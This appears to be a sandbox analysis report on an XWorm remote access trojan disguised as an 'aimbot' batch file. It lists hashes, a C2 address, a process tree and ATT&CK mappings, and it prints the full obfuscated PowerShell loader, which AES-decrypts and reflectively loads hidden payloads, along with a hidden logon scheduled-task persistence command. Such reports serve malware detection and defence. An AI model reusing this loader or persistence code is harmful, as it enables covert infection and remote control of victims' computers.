xworm | c4db1679718dfb67fb33fcedced456035056f41b68fc071379d27d8bd708e6ab

Analysis

max time kernel
100s
max time network
146s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
15-11-2024 21:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

aimbotfr stub.bat
Size

478KB
MD5

09c4764995d1f2e96d0a228743f2425e
SHA1

0a755c43e147141ec0e9d96d243765af66d1e8a0
SHA256

c4db1679718dfb67fb33fcedced456035056f41b68fc071379d27d8bd708e6ab
SHA512

856759d72b6fff895d336acb8f86ac82ad8560f5229c1cd12baf25bf6ea9ee80035d364c69c00e66bbe9678f788a635f837032a92d3f08008a8343dcc992ff6e
SSDEEP

6144:Y5uDX7kLnB9tGFQe+6YRAFcqLw7DT8ZUXtk9clnD:Yo8LB2FQh64AFcqLw7kZ+uInD

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

80.76.49.227:9999

Mutex

g0vzRORqzebeaKQj

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral3/memory/5140-54-0x000001FCC8070000-0x000001FCC807E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
22	5140	powershell.exe
24	5140	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2712	powershell.exe
232	powershell.exe
5140	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1669812756-2240353048-2660728061-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4588	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1669812756-2240353048-2660728061-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2712	powershell.exe
2712	powershell.exe
232	powershell.exe
232	powershell.exe
5140	powershell.exe
5140	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeDebugPrivilege	232	powershell.exe
Token: SeIncreaseQuotaPrivilege	232	powershell.exe
Token: SeSecurityPrivilege	232	powershell.exe
Token: SeTakeOwnershipPrivilege	232	powershell.exe
Token: SeLoadDriverPrivilege	232	powershell.exe
Token: SeSystemProfilePrivilege	232	powershell.exe
Token: SeSystemtimePrivilege	232	powershell.exe
Token: SeProfSingleProcessPrivilege	232	powershell.exe
Token: SeIncBasePriorityPrivilege	232	powershell.exe
Token: SeCreatePagefilePrivilege	232	powershell.exe
Token: SeBackupPrivilege	232	powershell.exe
Token: SeRestorePrivilege	232	powershell.exe
Token: SeShutdownPrivilege	232	powershell.exe
Token: SeDebugPrivilege	232	powershell.exe
Token: SeSystemEnvironmentPrivilege	232	powershell.exe
Token: SeRemoteShutdownPrivilege	232	powershell.exe
Token: SeUndockPrivilege	232	powershell.exe
Token: SeManageVolumePrivilege	232	powershell.exe
Token: 33	232	powershell.exe
Token: 34	232	powershell.exe
Token: 35	232	powershell.exe
Token: 36	232	powershell.exe
Token: SeIncreaseQuotaPrivilege	232	powershell.exe
Token: SeSecurityPrivilege	232	powershell.exe
Token: SeTakeOwnershipPrivilege	232	powershell.exe
Token: SeLoadDriverPrivilege	232	powershell.exe
Token: SeSystemProfilePrivilege	232	powershell.exe
Token: SeSystemtimePrivilege	232	powershell.exe
Token: SeProfSingleProcessPrivilege	232	powershell.exe
Token: SeIncBasePriorityPrivilege	232	powershell.exe
Token: SeCreatePagefilePrivilege	232	powershell.exe
Token: SeBackupPrivilege	232	powershell.exe
Token: SeRestorePrivilege	232	powershell.exe
Token: SeShutdownPrivilege	232	powershell.exe
Token: SeDebugPrivilege	232	powershell.exe
Token: SeSystemEnvironmentPrivilege	232	powershell.exe
Token: SeRemoteShutdownPrivilege	232	powershell.exe
Token: SeUndockPrivilege	232	powershell.exe
Token: SeManageVolumePrivilege	232	powershell.exe
Token: 33	232	powershell.exe
Token: 34	232	powershell.exe
Token: 35	232	powershell.exe
Token: 36	232	powershell.exe
Token: SeIncreaseQuotaPrivilege	232	powershell.exe
Token: SeSecurityPrivilege	232	powershell.exe
Token: SeTakeOwnershipPrivilege	232	powershell.exe
Token: SeLoadDriverPrivilege	232	powershell.exe
Token: SeSystemProfilePrivilege	232	powershell.exe
Token: SeSystemtimePrivilege	232	powershell.exe
Token: SeProfSingleProcessPrivilege	232	powershell.exe
Token: SeIncBasePriorityPrivilege	232	powershell.exe
Token: SeCreatePagefilePrivilege	232	powershell.exe
Token: SeBackupPrivilege	232	powershell.exe
Token: SeRestorePrivilege	232	powershell.exe
Token: SeShutdownPrivilege	232	powershell.exe
Token: SeDebugPrivilege	232	powershell.exe
Token: SeSystemEnvironmentPrivilege	232	powershell.exe
Token: SeRemoteShutdownPrivilege	232	powershell.exe
Token: SeUndockPrivilege	232	powershell.exe
Token: SeManageVolumePrivilege	232	powershell.exe
Token: 33	232	powershell.exe
Token: 34	232	powershell.exe
Token: 35	232	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4128 wrote to memory of 2712	4128	cmd.exe	84
PID 4128 wrote to memory of 2712	4128	cmd.exe	84
PID 2712 wrote to memory of 232	2712	powershell.exe	86
PID 2712 wrote to memory of 232	2712	powershell.exe	86
PID 2712 wrote to memory of 5292	2712	powershell.exe	91
PID 2712 wrote to memory of 5292	2712	powershell.exe	91
PID 5292 wrote to memory of 3684	5292	WScript.exe	92
PID 5292 wrote to memory of 3684	5292	WScript.exe	92
PID 3684 wrote to memory of 5140	3684	cmd.exe	94
PID 3684 wrote to memory of 5140	3684	cmd.exe	94
PID 5140 wrote to memory of 5092	5140	powershell.exe	99
PID 5140 wrote to memory of 5092	5140	powershell.exe	99
PID 5092 wrote to memory of 4588	5092	cmd.exe	101
PID 5092 wrote to memory of 4588	5092	cmd.exe	101

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\aimbotfr stub.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4pr42IAhLNXaMsLDATuTCXnSN37MkzjWlGCxvlpI204='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mUAA0rhmn7r0Y49Br4h9Tg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NWFXD=New-Object System.IO.MemoryStream(,$param_var); $TWFke=New-Object System.IO.MemoryStream; $XkRIU=New-Object System.IO.Compression.GZipStream($NWFXD, [IO.Compression.CompressionMode]::Decompress); $XkRIU.CopyTo($TWFke); $XkRIU.Dispose(); $NWFXD.Dispose(); $TWFke.Dispose(); $TWFke.ToArray();}function execute_function($param_var,$param2_var){ $SgoJi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $obVxl=$SgoJi.EntryPoint; $obVxl.Invoke($null, $param2_var);}$HAian = 'C:\Users\Admin\AppData\Local\Temp\aimbotfr stub.bat';$host.UI.RawUI.WindowTitle = $HAian;$jwIhR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HAian).Split([Environment]::NewLine);foreach ($fbsbe in $jwIhR) { if ($fbsbe.StartsWith(':: ')) { $Eaalc=$fbsbe.Substring(3); break; }}$payloads_var=[string[]]$Eaalc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_667_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_667.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:232
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_667.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:5292
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_667.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3684
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4pr42IAhLNXaMsLDATuTCXnSN37MkzjWlGCxvlpI204='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mUAA0rhmn7r0Y49Br4h9Tg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NWFXD=New-Object System.IO.MemoryStream(,$param_var); $TWFke=New-Object System.IO.MemoryStream; $XkRIU=New-Object System.IO.Compression.GZipStream($NWFXD, [IO.Compression.CompressionMode]::Decompress); $XkRIU.CopyTo($TWFke); $XkRIU.Dispose(); $NWFXD.Dispose(); $TWFke.Dispose(); $TWFke.ToArray();}function execute_function($param_var,$param2_var){ $SgoJi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $obVxl=$SgoJi.EntryPoint; $obVxl.Invoke($null, $param2_var);}$HAian = 'C:\Users\Admin\AppData\Roaming\startup_str_667.bat';$host.UI.RawUI.WindowTitle = $HAian;$jwIhR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HAian).Split([Environment]::NewLine);foreach ($fbsbe in $jwIhR) { if ($fbsbe.StartsWith(':: ')) { $Eaalc=$fbsbe.Substring(3); break; }}$payloads_var=[string[]]$Eaalc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:5140
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1F0C.tmp.bat""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5092
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        7⤵
        Delays execution with timeout.exe
        
        PID:4588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
dacf964edfec66f523ef1ba19e6e5d96

SHA1
598c47b43c9bee0153474f4ac5f5051f2b834bc5

SHA256
53b6894b2627ae75f3c7778dadaac051a90ef9750183983227e1997c757dfe92

SHA512
1922048f23cc55e76f4364862ad96d35e72f8542bee80e813c28b68cfb2c127107e780a567f0bcfb681ddbae4b78e18e93c056a218704c59b5138910e9877689

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rgfftco3.h05.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp1F0C.tmp.bat

Filesize
171B

MD5
890130bc65590711085bf8734866f5c9

SHA1
68606a28e149e1d714b510eef2172e593e4602d2

SHA256
ac72714ad472b8ecc04f09100a95e1937101949c6424313000e14c0ce78224a4

SHA512
896044729a491d5faf636b920862dc93cbfa66fbdedd4ce1b99646a92ea97cad2453569b66e3600896dc49d315fe4aba7421825c52720bf7fd04c2a352d049fb

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_667.vbs

Filesize
115B

MD5
a26d56989dc22c7b9de926c2d7ad8868

SHA1
4986934b341ed40d9569325fe67bc1f4afacaa16

SHA256
d693346a4593538051463c25a651b6da1b696532d34ad69d98777260bedb5c7f

SHA512
80b737bc8ef4c8ea9e08c55049ecf59782618dc80431f09a4640b7d04fab5e3b1d3b1b9b24ce5d2adfe2465c864ffb68f380319f197979c9b1d6906d8ea2bc5a

Download Submit
memory/232-27-0x00007FFFC4E50000-0x00007FFFC5912000-memory.dmp

Filesize
10.8MB

Download
memory/232-31-0x00007FFFC4E50000-0x00007FFFC5912000-memory.dmp

Filesize
10.8MB

Download
memory/232-28-0x00007FFFC4E50000-0x00007FFFC5912000-memory.dmp

Filesize
10.8MB

Download
memory/232-17-0x00007FFFC4E50000-0x00007FFFC5912000-memory.dmp

Filesize
10.8MB

Download
memory/2712-13-0x00007FFFC4E50000-0x00007FFFC5912000-memory.dmp

Filesize
10.8MB

Download
memory/2712-15-0x000001FC9A6B0000-0x000001FC9A6E2000-memory.dmp

Filesize
200KB

Download
memory/2712-14-0x000001FC9A410000-0x000001FC9A418000-memory.dmp

Filesize
32KB

Download
memory/2712-0-0x00007FFFC4E53000-0x00007FFFC4E55000-memory.dmp

Filesize
8KB

Download
memory/2712-12-0x00007FFFC4E50000-0x00007FFFC5912000-memory.dmp

Filesize
10.8MB

Download
memory/2712-11-0x00007FFFC4E50000-0x00007FFFC5912000-memory.dmp

Filesize
10.8MB

Download
memory/2712-41-0x00007FFFC4E50000-0x00007FFFC5912000-memory.dmp

Filesize
10.8MB

Download
memory/2712-42-0x00007FFFC4E53000-0x00007FFFC4E55000-memory.dmp

Filesize
8KB

Download
memory/2712-53-0x00007FFFC4E50000-0x00007FFFC5912000-memory.dmp

Filesize
10.8MB

Download
memory/2712-6-0x000001FCFDDF0000-0x000001FCFDE12000-memory.dmp

Filesize
136KB

Download
memory/5140-54-0x000001FCC8070000-0x000001FCC807E000-memory.dmp

Filesize
56KB

Download
memory/5140-55-0x000001FCC8150000-0x000001FCC815C000-memory.dmp

Filesize
48KB

Download